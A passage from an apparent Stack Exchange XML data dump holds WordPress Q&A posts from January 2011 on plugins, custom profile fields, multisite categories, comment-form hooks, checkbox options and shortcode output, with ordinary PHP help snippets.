being Twenty Ten derivative )&lt;/p&gt;&#xA;" OwnerUserId="1298" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-11T12:44:00.417" LastActivityDate="2011-01-11T12:44:00.417" CommunityOwnedDate="2011-01-11T11:49:00.383" />
  <row Id="6710" PostTypeId="2" ParentId="6695" CreationDate="2011-01-11T11:50:41.597" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;WP - SyntaxHighlighter Evolved&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my favorite one, I had issues with others not processing the content correctly (despite being defined as the right language):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/syntaxhighlighter/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/syntaxhighlighter/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Description:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SyntaxHighlighter Evolved allows you&#xA;  to easily post syntax-highlighted code&#xA;  to your site without losing it's&#xA;  formatting or making any manual&#xA;  changes. It uses the SyntaxHighlighter&#xA;  JavaScript package by Alex Gorbatchev.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/E40XA.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-01-11T11:50:41.597" />
  <row Id="6711" PostTypeId="2" ParentId="6690" CreationDate="2011-01-11T12:14:26.470" Score="3" ViewCount="" Body="&lt;p&gt;Justin Tadlock has a good tutorial to get you started:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://justintadlock.com/archives/2009/09/10/adding-and-using-custom-user-profile-fields&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2009/09/10/adding-and-using-custom-user-profile-fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some specifics to dealing with checkboxes however, and some custom code if you want to make checkboxes that correspond to tags/categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To generate the form fields and save the data use the following snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function user_interests_fields( $user ) {&#xA;    // get product categories&#xA;    $tags = get_terms('post_tags', array('hide_empty' =&amp;gt; false));&#xA;    $user_tags = get_the_author_meta( 'user_interests', $user-&amp;gt;ID );&#xA;    ?&amp;gt;&#xA;    &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;My interests:&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;        &amp;lt;?php&#xA;        if ( count( $tags ) ) {&#xA;            foreach( $tags as $tag ) { ?&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;label for=&quot;user_interests_&amp;lt;?php echo esc_attr( $tag-&amp;gt;slug); ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;input&#xA;                    id=&quot;user_interests_&amp;lt;?php echo esc_attr( $tag-&amp;gt;slug); ?&amp;gt;&quot;&#xA;                    name=&quot;user_interests[&amp;lt;?php echo esc_attr( $tag-&amp;gt;term_id ); ?&amp;gt;]&quot;&#xA;                    type=&quot;checkbox&quot;&#xA;                    value=&quot;&amp;lt;?php echo esc_attr( $tag-&amp;gt;term_id ); ?&amp;gt;&quot;&#xA;                    &amp;lt;?php if ( in_array( $tag-&amp;gt;term_id, $user_tags ) ) echo ' checked=&quot;checked&quot;'; ?&amp;gt; /&amp;gt;&#xA;                &amp;lt;?php echo esc_html($tag-&amp;gt;name); ?&amp;gt;&#xA;            &amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;?php&#xA;            }&#xA;        } ?&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;add_action( 'show_user_profile', 'user_interests_fields' );&#xA;add_action( 'edit_user_profile', 'user_interests_fields' );&#xA;&#xA;    // store interests&#xA;    function user_interests_fields_save( $user_id ) {&#xA;        if ( !current_user_can( 'edit_user', $user_id ) )&#xA;            return false;&#xA;        update_user_meta( $user_id, 'user_interests', $_POST['user_interests'] );&#xA;    }&#xA;    add_action( 'personal_options_update', 'user_interests_fields_save' );&#xA;    add_action( 'edit_user_profile_update', 'user_interests_fields_save' );&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then call the &lt;code&gt;get_the_author_meta()&lt;/code&gt; function to get at your array of tag IDs which can then be used in a query eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array( 'tag_id' =&amp;gt; get_the_author_meta( 'user_interests', $user_id ) ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-01-11T12:14:26.470" />
  <row Id="6712" PostTypeId="1" AcceptedAnswerId="6737" CreationDate="2011-01-11T12:17:36.593" Score="2" ViewCount="62" Body="&lt;p&gt;Is it possible to set configuration options such as DEBUG mode only for specific sub blogs in a wordpress multisite installation? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2011-01-11T17:34:08.753" Title="How to set configuration options for particular sub blogs?" Tags="&lt;multisite&gt;&lt;3.0.1&gt;&lt;debug&gt;&lt;configuration&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="6713" PostTypeId="2" ParentId="6702" CreationDate="2011-01-11T12:48:46.780" Score="0" ViewCount="" Body="&lt;p&gt;The instructions clearly state you must create this folder under the wp-content folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't a bug or an issue with your server. You missed a step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Create_A_Network&lt;/a&gt;&#xA;http://wpebooks.com/2010/09/how-to-enable-multisite-in-wordpress/&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-01-11T12:48:46.780" CommentCount="3" />
  <row Id="6714" PostTypeId="2" ParentId="6712" CreationDate="2011-01-11T12:49:52.723" Score="0" ViewCount="" Body="&lt;p&gt;If you're asking about putting that define in wp-config and making it apply to one site, then no.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-01-11T12:49:52.723" />
  <row Id="6715" PostTypeId="2" ParentId="6698" CreationDate="2011-01-11T12:53:05.203" Score="1" ViewCount="" Body="&lt;p&gt;The site you linked to uses paid script &lt;a href=&quot;http://www.magictoolbox.com/magiczoomplus/modules/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Magic Zoom Plus, it has WordPress plugin available&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-11T12:53:05.203" />
  <row Id="6716" PostTypeId="1" AcceptedAnswerId="6735" CreationDate="2011-01-11T12:53:39.123" Score="0" ViewCount="169" Body="&lt;p&gt;I have a custom taxonomy &quot;Portfolio Categories&quot;, and a few these categories say &quot;Cloth&quot;, &quot;Shoes&quot;, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When open some category page, i want the title to be like 'Site Name | Cloth', but with wp_title(), it becomes 'Site Name | Portfolio Categories | Cloth'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i remove the &quot;Portfolio Categories&quot; from the title?&lt;/p&gt;&#xA;" OwnerUserId="2426" LastActivityDate="2011-08-19T08:31:02.407" Title="How to remove parent taxonomy name from the title generated by wp_title()?" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="6717" PostTypeId="1" AcceptedAnswerId="6757" CreationDate="2011-01-11T13:02:11.377" Score="-1" ViewCount="138" Body="&lt;p&gt;hey hii everyone,&#xA;i have a function to fetch the videos from the rss feed of youtube, so that i can display selected videos to my blog&#xA;for that i am using this youtube-search-feed url&#xA;&lt;code&gt;http://gdata.youtube.com/feeds/base/videos?q=eminem&amp;amp;client=ytapi-youtube-search&amp;amp;v=2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the url, eminem is included, so it will display me videos of eminem,&#xA;now my problem is, instead of eminem it should take my posts title name, so if i write this code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$rss = fetch_rss('http://gdata.youtube.com/feeds/base/videos?q='.the_title().'&amp;amp;client=ytapi-youtube-search&amp;amp;v=2');&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then its returning me with a false video&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my entire code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php &#xA;$newvar = str_replace(' ', '', the_title());&#xA;include_once(ABSPATH . WPINC . '/rss.php');&#xA;$rss = fetch_rss('http://gdata.youtube.com/feeds/base/videos?q='.$newvar.'&amp;amp;client=ytapi-youtube-search&amp;amp;v=2');&#xA;    $maxitems = 1; &#xA;    $items = array_slice($rss-&amp;gt;items, 0, $maxitems);&#xA;                            ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here i am using &lt;code&gt;$newvar&lt;/code&gt; to strip the spaces in between of the title of the posts&#xA;&lt;strong&gt;@rarst&lt;/strong&gt; i change the code but now i am not getting the video&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$newvar = str_replace(' ', '', the_title());&#xA;include_once(ABSPATH . WPINC . '/feed.php');&#xA;$feed = fetch_feed('http://gdata.youtube.com/feeds/base/videos?q='.$newvar.'&amp;amp;client=ytapi-youtube-search&amp;amp;v=2');&#xA;$maxitems = 1; &#xA;$items = array_slice($feed-&amp;gt;items, 0, $maxitems);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2011-01-11T13:55:56.060" LastActivityDate="2011-01-11T21:40:34.310" Title="feed url problem" Tags="&lt;code&gt;&lt;videos&gt;&lt;youtube&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="6718" PostTypeId="2" ParentId="6679" CreationDate="2011-01-11T13:03:23.093" Score="1" ViewCount="" Body="&lt;p&gt;I am not sure what you need mod operator here for, it is usual for keeping track of even/odd values. You simply need every third.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$i = 0;&#xA;&#xA;//while stuff&#xA;    $i++;&#xA;    if( 3 == $i ) {&#xA;        $i = 0;&#xA;        echo 'last';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-11T13:03:23.093" />
  <row Id="6719" PostTypeId="1" AcceptedAnswerId="6739" CreationDate="2011-01-11T13:19:21.320" Score="0" ViewCount="235" Body="&lt;p&gt;I'm trying to add a new tab to my groups on BuddyPress. All the groups will have different content preferrably from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="2188" LastActivityDate="2011-01-11T17:49:03.177" Title="BuddyPress: Adding a new tab in groups" Tags="&lt;buddypress&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="6720" PostTypeId="1" CreationDate="2011-01-11T13:34:57.730" Score="0" ViewCount="110" Body="&lt;p&gt;I've been having a crappy problem with wordpress for ages now whereby all of the text following the first symbol (apostrophe, euro sign, etc..) gets deleted on saving. I used to be able to change from UTF-8 to US-ASCII in Wordpress reading settings to get around it but that doesn't work now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to be only the blogs I have with a particular host but they don't seem to know what's up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running wordpress 3.0.4, PHP version 5.2.13.&lt;/p&gt;&#xA;" OwnerUserId="641" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:31:29.690" LastActivityDate="2011-06-07T14:31:29.690" Title="Wordpress Encoding Problems. Deleting text/symbols on save" Tags="&lt;encoding&gt;" CommentCount="3" />
  <row Id="6721" PostTypeId="2" ParentId="6702" CreationDate="2011-01-11T14:48:16.590" Score="0" ViewCount="" Body="&lt;p&gt;I am closing this post as the problem has been solved .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update :&lt;/strong&gt;&#xA;@MikeSchinkel&#xA;Sorry !I am updating the details and reason for attempting to delete the question .I also added the reason for deleting the question (update3 in question)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually the problem have not solved .I marked it solved and attempted to delete after realizing the problem is with plugin&lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="391" LastEditorDisplayName="" LastEditDate="2011-01-12T07:50:41.003" LastActivityDate="2011-01-12T07:50:41.003" CommentCount="3" />
  <row Id="6722" PostTypeId="1" AcceptedAnswerId="6724" CreationDate="2011-01-11T15:35:05.420" Score="0" ViewCount="113" Body="&lt;p&gt;When a site gets to a certain scale, storing categories on a per-blog basis starts to get a little messy. Assuming someone would want all WPMU blogs to share a single set of categories, how might one go about that? My gut it so store a set of &quot;cannonical&quot; categories in the root blog. Is there a more elegant or standardized solution?&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-01-11T22:56:26.057" Title="Can you have a single set of &quot;canonical&quot; categories shared by all blogs?" Tags="&lt;categories&gt;" AnswerCount="4" />
  <row Id="6723" PostTypeId="1" CreationDate="2011-01-11T15:49:35.387" Score="0" ViewCount="117" Body="&lt;p&gt;Is there any plugin that can do that?&lt;/p&gt;&#xA;" OwnerUserId="1542" LastActivityDate="2011-01-11T23:21:01.667" Title="How to add a &quot;policy text&quot; just before the comments?" Tags="&lt;3.0&gt;&lt;comments&gt;" AnswerCount="3" />
  <row Id="6724" PostTypeId="2" ParentId="6722" CreationDate="2011-01-11T16:00:51.943" Score="1" ViewCount="" Body="&lt;p&gt;A more elegant solution would be to create a &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network#WordPress_Plugins&quot; rel=&quot;nofollow&quot;&gt;MU (must use) plug-in&lt;/a&gt; and drop it on the network.  This plug-in would check (per-site) if the categories exist and, if not, add them as appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some &lt;strong&gt;&lt;em&gt;untested&lt;/em&gt;&lt;/strong&gt; example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$default_categories = array(&#xA;    'my_first_cat',&#xA;    'my_second_cat',&#xA;    'my_third_cat'&#xA;);&#xA;&#xA;foreach($default_categories as $cat) {&#xA;    if( get_cat_ID( $cat ) != 0 ) continue;&#xA;&#xA;    wp_insert_term( $cat, 'category' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This &lt;em&gt;should&lt;/em&gt; loop through your list of categories and attempt to fetch the ID of each.  If the category doesn't exist, &lt;code&gt;get_cat_ID()&lt;/code&gt; will return &quot;0&quot; so you know to insert the category.  This code won't set the slug, description, parent, etc ... I leave that as an exercise for you to complete.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-11T16:00:51.943" />
  <row Id="6725" PostTypeId="2" ParentId="6722" CreationDate="2011-01-11T16:15:19.257" Score="0" ViewCount="" Body="&lt;p&gt;Note: I'm assuming you want the categories to only be stored in one place...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it was me and I &lt;em&gt;had&lt;/em&gt; to do that I'd make an mu-plugin that hooks into the taxonomy insert/update/edit methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd create a new set of tables copied from the existing taxonomy tables for the parent site (just in case), with an additional field to indicate which site a post_id belongs to. The plugin would then be used to remap the name of the taxonomies table to our new site-wide one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd then need a filter on all db queries to the taxonomical relationships to make them match the current site's id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd also need to remove people's privileges to add/remove categories unless you're a glutton for punishment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short (and IMO) it would be a lot messier and a lot more restrictive to your users to have a single set of categories shared between sites. You may as well have one site with multiple authors.&lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-01-11T16:15:19.257" CommentCount="1" />
  <row Id="6726" PostTypeId="2" ParentId="6723" CreationDate="2011-01-11T16:19:31.513" Score="2" ViewCount="" Body="&lt;p&gt;Just add it in before the comment function (unless I misunderstood something?):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;policy&quot;&amp;gt;policy text&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php comments_template(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would be on &lt;strong&gt;single.php&lt;/strong&gt;, &lt;strong&gt;page.php&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-01-11T16:19:31.513" CommentCount="2" />
  <row Id="6727" PostTypeId="2" ParentId="6723" CreationDate="2011-01-11T16:25:28.583" Score="5" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Emerson:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you want before the list of comments or before the comment form &lt;em&gt;(I assume the latter?)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, and I'm assuming you are either using the TwentyTen theme or a theme that uses the new &lt;code&gt;comment_form()&lt;/code&gt; function from WordPress 3.0.0?  If so it's as simple as using the &lt;code&gt;'comment_form_before'&lt;/code&gt; hook. Here's an example you can place in your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action('comment_form_before','my_comment_form_before');&#xA;function my_comment_form_before() {&#xA;?&amp;gt;&amp;lt;p&amp;gt;By leaving a comment you are pledging your first born to my command! Muhahaha! :-)&amp;lt;/p&amp;gt;&amp;lt;?php&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-11T16:25:28.583" CommentCount="3" />
  <row Id="6728" PostTypeId="1" AcceptedAnswerId="6729" CreationDate="2011-01-11T16:34:00.823" Score="1" ViewCount="319" Body="&lt;p&gt;my self-made admin panel works just fine, but it doesn't save values of form inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I type something into textbox and click &quot;save&quot; it is still there after refreshing, thanks to PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;header&quot; value=&quot;&amp;lt;?php echo get_option('header'); ?&amp;gt;&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the PHP echoes its own value to a input and everything is just fine. But what to do when I have list of 10 radio buttons or just a checkbox?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now I have a checkbox like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;showS&quot; value=&quot;true&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And after clicking on it and saving - it's still &quot;unclicked&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any helping had?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-01-12T00:07:09.920" Title="Saving checkbox/option list status?" Tags="&lt;forms&gt;&lt;admin-menu&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="6729" PostTypeId="2" ParentId="6728" CreationDate="2011-01-11T16:48:47.073" Score="1" ViewCount="" Body="&lt;p&gt;This is really just an html question, not specific to WordPress. Look into &lt;code&gt;checked=&quot;checked&quot;&lt;/code&gt; (for check boxes) or &lt;code&gt;selected=&quot;selected&quot;&lt;/code&gt; (for selects, radio buttons, etc.) In your case,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;showS&quot; value=&quot;true&quot; &#xA;    &amp;lt;?php if (get_option('showS')==true) echo 'checked=&quot;checked&quot; '; ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since this is WordPress, though, I should also be reminding you to use the Settings API where possible. Don't try to sanitize and validate all of the inputs yourself unless you really know what you're doing. Here's a link to a tutorial on the Settings API:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ottopress.com/2009/wordpress-settings-api-tutorial/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2009/wordpress-settings-api-tutorial/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-11T16:48:47.073" CommentCount="3" />
  <row Id="6730" PostTypeId="1" AcceptedAnswerId="6736" CreationDate="2011-01-11T16:51:15.780" Score="0" ViewCount="177" Body="&lt;p&gt;A custom shortcode i made is being forced to the top of the widget outside of the widget container. Any ideas why? This is my code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function nktmediaplayer_func($atts) {&#xA; extract(shortcode_atts(array(&#xA;    'id' =&amp;gt; rand(1, 900),&#xA;    'language' =&amp;gt; 'en',&#xA;    'playlist' =&amp;gt; 'no',&#xA;    'media' =&amp;gt; '3381',&#xA;    'height' =&amp;gt; '480',&#xA;    'width' =&amp;gt; '640',&#xA;    'style' =&amp;gt; 'single'&#xA;    ), $atts));&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;player_&amp;lt;?php echo $id; ?&amp;gt;&quot; class=&quot;video_player&quot;&amp;gt;&amp;lt;a href=&quot;http://www.adobe.com/products/flashplayer/&quot;&amp;gt;Get the Flash Player&amp;lt;/a&amp;gt; to see this player.&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://kadampa.org/embed/apps/jwplayer.js&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt; &#xA;        jwplayer(&quot;player_&amp;lt;?php echo $id; ?&amp;gt;&quot;).setup({&#xA;            flashplayer: &quot;http://kadampa.org/embed/apps/player.swf&quot;,&#xA;            playlistfile: &quot;http://kadampa.org/&amp;lt;?php echo $language; ?&amp;gt;/api/video/&amp;lt;?php if ( 'playlist' == 'yes' ) echo 'playlist/'; ?&amp;gt;&amp;lt;?php echo $media; ?&amp;gt;/desc&quot;,&#xA;            height: &quot;&amp;lt;?php echo $height; ?&amp;gt;&quot;,&#xA;            width: &quot;&amp;lt;?php echo $width; ?&amp;gt;&quot;,&#xA;            config: &quot;http://kadampa.org/embed/config/&amp;lt;?php echo $style; ?&amp;gt;.xml&quot;&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;?php    &#xA;}&#xA;add_shortcode('nkt_mediaplayer', 'nktmediaplayer_func', 10);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1925" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-02-04T16:38:02.193" LastActivityDate="2011-02-04T16:38:02.193" Title="Custom shortcode in widget forced to top of widget" Tags="&lt;widgets&gt;&lt;shortcode&gt;&lt;widget-text&gt;" AnswerCount="1" />
  <row Id="6731" PostTypeId="1" AcceptedAnswerId="6733" CreationDate="2011-01-11T16:54:26.180" Score="1" ViewCount="1688" Body="&lt;p&gt;I am looking for a way to test if a post is a custom post type. For example, in say the sidebar I can put code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if( is_single()) {&#xA;        //code here&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want code were I could do this, only testing for a custom post type. Any help would be greatly appreciated! &lt;/p&gt;&#xA;" OwnerUserId="1333" LastEditorUserId="784" LastEditorDisplayName="" LastEditDate="2011-07-06T13:41:33.617" LastActivityDate="2011-07-06T18:02:06.853" Title="If is custom post type" Tags="&lt;custom-post-types&gt;&lt;conditional-content&gt;&lt;conditional-tags&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="6732" PostTypeId="2" ParentId="6699" CreationDate="2011-01-11T16:55:01.203" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@maduroblanco:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would very much be a hack, but have you tried to hook &lt;code&gt;'option_widget_some-widget'&lt;/code&gt; like this? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('option_widget_some-widget','your_option_widget_some_widget');&#xA;function your_option_widget_some_widget($value) {&#xA;  static $instance = 1;&#xA;  select ($instance) {&#xA;    case 1: &#xA;      $value = 'foo'; // Return whatever your first one needs&#xA;      break;&#xA;    case 2: &#xA;      $value = 'bar'; // Return whatever your second one needs &#xA;      break;&#xA;    case 3: &#xA;      $value = 'baz';  // Return whatever your third time needs&#xA;      break;&#xA;  }&#xA;  $instance++;&#xA;  return $value;&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, this is very much a hack, but it might work?  I've not tested this code so let me know if it gives you want you were looking for. Note that the filter name is based on the name of the option, so be sure to change that to match whatever the option name is.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-11T17:09:22.727" LastActivityDate="2011-01-11T17:09:22.727" CommentCount="1" />
  <row Id="6733" PostTypeId="2" ParentId="6731" CreationDate="2011-01-11T17:12:48.967" Score="5" ViewCount="" Body="&lt;p&gt;Here you are:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags#A_Post_Type&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Conditional_Tags#A_Post_Type&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2011-01-11T17:12:48.967" CommentCount="2" />
  <row Id="6734" PostTypeId="1" AcceptedAnswerId="6743" CreationDate="2011-01-11T17:13:16.443" Score="0" ViewCount="128" Body="&lt;p&gt;I am using the &lt;a href=&quot;http://wordpress.org/extend/plugins/photosmash-galleries/&quot; rel=&quot;nofollow&quot;&gt;PhotoSmash&lt;/a&gt; plugin to let users upload their own images and vote on them, and it works great. On one of my pages I use the following code to list the posts that have a certain category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;if (is_page() ) {&#xA;$category = get_post_meta($posts[0]-&amp;gt;ID, 'category', true);&#xA;}&#xA;if ($category) {&#xA;  $cat = get_cat_ID($category);&#xA;  $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;  $post_per_page = -1; // -1 shows all posts&#xA;  $do_not_show_stickies = 1; // 0 to show stickies&#xA;  $args=array(&#xA;    'category__in' =&amp;gt; array($cat),&#xA;    'orderby' =&amp;gt; 'date',&#xA;    'order' =&amp;gt; 'ASC',&#xA;    'paged' =&amp;gt; $paged,&#xA;    'posts_per_page' =&amp;gt; $post_per_page,&#xA;    'caller_get_posts' =&amp;gt; $do_not_show_stickies&#xA;  );&#xA;  $temp = $wp_query;  // assign orginal query to temp variable for later use   &#xA;  $wp_query = null;&#xA;  $wp_query = new WP_Query($args); &#xA;  if( have_posts() ) : &#xA;        while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post(); ?&amp;gt;&#xA;        &amp;lt;section class=&quot;vote6&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;          &amp;lt;?php the_content(); ?&amp;gt;&#xA;          &amp;lt;section class=&quot;voter&quot;&amp;gt;&#xA;              &amp;lt;?php DisplayVotes(get_the_ID()); ?&amp;gt;&#xA;          &amp;lt;/section&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;  &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;        &amp;lt;h2 class=&quot;center&quot;&amp;gt;Not Found&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;p class=&quot;center&quot;&amp;gt;Sorry, but you are looking for something that isn't here.&amp;lt;/p&amp;gt;&#xA;        &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; &#xA;&#xA;    $wp_query = $temp;  //reset back to original query&#xA;&#xA;}  // if ($category)&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works great as well, except when the PhotoSmash plugin is activated. I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to a member function get() on a non-object in \nas-001\winspace004\10-3mpromos.ca\www\carcrazy\wp-includes\query.php on line 27&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Line 27 is &lt;code&gt;return 